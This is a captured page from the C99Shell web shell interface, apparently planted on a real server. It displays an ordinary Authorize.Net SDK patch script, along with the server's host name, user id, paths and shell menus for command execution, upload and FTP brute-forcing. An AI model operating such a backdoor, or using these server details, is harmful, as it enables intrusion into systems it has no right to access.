!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/authorizenet/authorizenet/scripts/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     post-patches.sh (2.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# Shell file to do post-patches that
# Revert auto-generation (on masterupdate->generateObjectsFromXsd) changes to
#  - setStartDate() method in PaymentScheduleType.php
#  - CustomerProfileExType gets wrongfully replaced with 
#    CustomerProfileInfoExType in UpdateCustomerProfileRequest.php

#WORKING --- Remember to escape $ with \$ and replace ' with " and \ with \\ in the replacement expression
#Summary --- Replaces the setStartDate() method with the correct method. To be run in Git Bash or unix shell
#File affected - lib/net/authorize/api/contract/v1/PaymentScheduleType.php
#Run in Git Bash or unix shell like (file permission to be set to executable:
### sh post-patches.sh
#Assumption - No child code blocks (curly-brace pairs) within the setStartDate method
#Test file - testfile.txt
#Options used:
# -p is used to do replacements. Unlike -n which only traverses the file line by line, but doesn't replace.
# -0777 treats the entire file as a blob, instead of doing line by line
# -i is used only for the final files, when we are sure to do the replace.
# /s at the end of regex does the same thing, called the "single-line" mode
# /g at the end of regex does the replacements for entire file, not just first match
# /i is NOT used in the regex as we want our comparisons to be case-sensitive, not insensitive       return/gs' lib/net/authorize/api/contract/v1/testfile.txt
		
perl -0777 -i -pe 's/\bfunction setStartDate[^}]*return/function setStartDate(\\DateTime \$startDate)
    {
        \$strDateOnly = \$startDate->format("Y-m-d");
        \$this->startDate = \\DateTime::createFromFormat("!Y-m-d", \$strDateOnly);
        return/gs' lib/net/authorize/api/contract/v1/PaymentScheduleType.php
#git diff -- lib/net/authorize/api/contract/v1/PaymentScheduleType.php
		
#WORKING --- Remember to escape $ with \$ and replace ' with " and \ with \\
#Summary --- Replaces the CustomerProfileInfoExType with CustomerProfileExType
#Files affected - UpdateCustomerProfileRequest.php and UpdateCustomerProfileRequest.yml
#Run in Git Bash or unix shell
#Assumption - CustomerProfileInfoExType present as a whole word or at starting of a word
#perl -0777 -pe 's/\bCustomerProfileInfoExType/CustomerProfileExType/gs' lib/net/authorize/api/contract/v1/testfile.txt

perl -0777 -i -pe 's/\bCustomerProfileInfoExType/CustomerProfileExType/gs' lib/net/authorize/api/contract/v1/UpdateCustomerProfileRequest.php
#git diff -- lib/net/authorize/api/contract/v1/UpdateCustomerProfileRequest.php

perl -0777 -i -pe 's/\bCustomerProfileInfoExType/CustomerProfileExType/gs' lib/net/authorize/api/yml/v1/UpdateCustomerProfileRequest.yml
#git diff -- lib/net/authorize/api/yml/v1/UpdateCustomerProfileRequest.yml

##References
# - http://www.rexegg.com/regex-perl-one-liners.html

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--